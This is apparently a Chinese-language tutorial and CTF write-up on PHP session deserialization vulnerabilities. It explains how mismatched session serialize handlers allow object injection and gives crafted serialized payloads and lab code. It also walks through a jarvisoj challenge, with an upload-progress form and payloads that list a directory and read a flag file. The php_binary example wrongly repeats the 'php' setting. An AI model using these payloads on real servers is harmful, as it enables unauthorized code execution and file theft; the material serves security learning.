php Session反序列化漏洞
@
PHP Session 序列化及反序列化处理器
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
有关session的配置
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
代码里面临时设置:
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
php
<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['test123'] = "123456";
?>
tmp.php: test123|s:6:"123456";
php_binary
<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['test123'] = "123456";
?>
tmp.php
php_serialize
<?php
ini_set('session.save_path','./tmp');
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['test123'] = "123456";
?>
tmp.php: a:1:{s:7:"test123";s:6:"123456";}
session序列化与反序列化
由于以上三种序列化与反序列化处理器进行反序列化操作时的差异,所以程序员开发不当就可能造成安全漏洞
利用
session.auto_start=On
session.auto_start参数会在脚本执行前会自动注册Session会话,所以在脚本中设置的php.ini中(序列化处理器\session)相关参数是无效的
所以需要先销毁注册的session,然后设置处理器,再调用session_start()注册session
- index.php
<?php
//检测是否开启自动注册会话
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
- evil.php
<?php
ini_set('session.save_path','./tmp');
session_start();
class test{
public $hi;
function __wakeup(){
phpinfo();
}
}
构造
$a = new test();
$a->hi = "hello";
echo serialize($a);
//O:4:"test":1:{s:2:"hi";s:5:"hello";}
传入index.php?a=|O:4:"test":1:{s:2:"hi";s:5:"hello";}
再访问evil.php
说明:
- index.php中接收参数a后将其序列化存储在session文件中
然后系统默认的handler为php
所以在访问evil.php时,系统会自动用php处理器反序列化session文件中的内容.
而且反序列化的部分为|
之后的部分即
触发危险函数,然后执行phpinfo();
这里存在一点,php反序列化的时候只会寻找有效部分
如:
session.auto_start=Off
这种其实和上面那个差不多
直接l3m0n师傅博客里面的例子:
foo1.php:
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}
构造 index.php?a=|O:5:"lemon":1:{s:2:"hi";s:6:"lonmar";}
再访问foo2.php
没有$_SESSION变量赋值
php中存在一个upload_process机制,这个功能常用于在文件上传的过程中利用session实时返回上传的进度
使用这个功能首先要有个前提:session.upload_progress.enabled设为On
为了方便测试,可以关闭它的自动清理session文件的功能:session.upload_progress.cleanup = Off
通过一道题目学习:http://web.jarvisoj.com:32784/
打开题目即可获得源码:
随便传入参数获得phpinfo信息,可以查看两个关键的session配置
很显然可以构造代码:
class OowoO
{
public $mdzz = payload;
}
$a = new OowoO;
echo serialize($a);
来执行任意的payload
但是没有明显的输入点,
所以可以通过upload_process来输入
基本思路就是上传文件并post一个参数session.upload_process.name
后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键
所以构造表单:
test.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
payload就参考别的师傅的:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
几点说明:
- 必须有上传一个参数,名是PHP_SESSION_UPLOAD_PROGRESS,值可以任意
- payload在filename里面
http报文中的filename的值对应$_SESSION[‘upload_progress_laruence’][‘files’][0][‘name’]
http报文中的name的值对应
$_SESSION[‘upload_progress_laruence’][‘files’][0][‘filed_name’]
这两处都可以实现攻击。
通过这道题目可以很好了解 upload_process 利用方式
参考
https://blog.csdn.net/csdn583724/article/details/88735607
https://xz.aliyun.com/t/7366#toc-0
https://zhuanlan.zhihu.com/p/90879209
https://www.cnblogs.com/litlife/p/10748506.html
https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html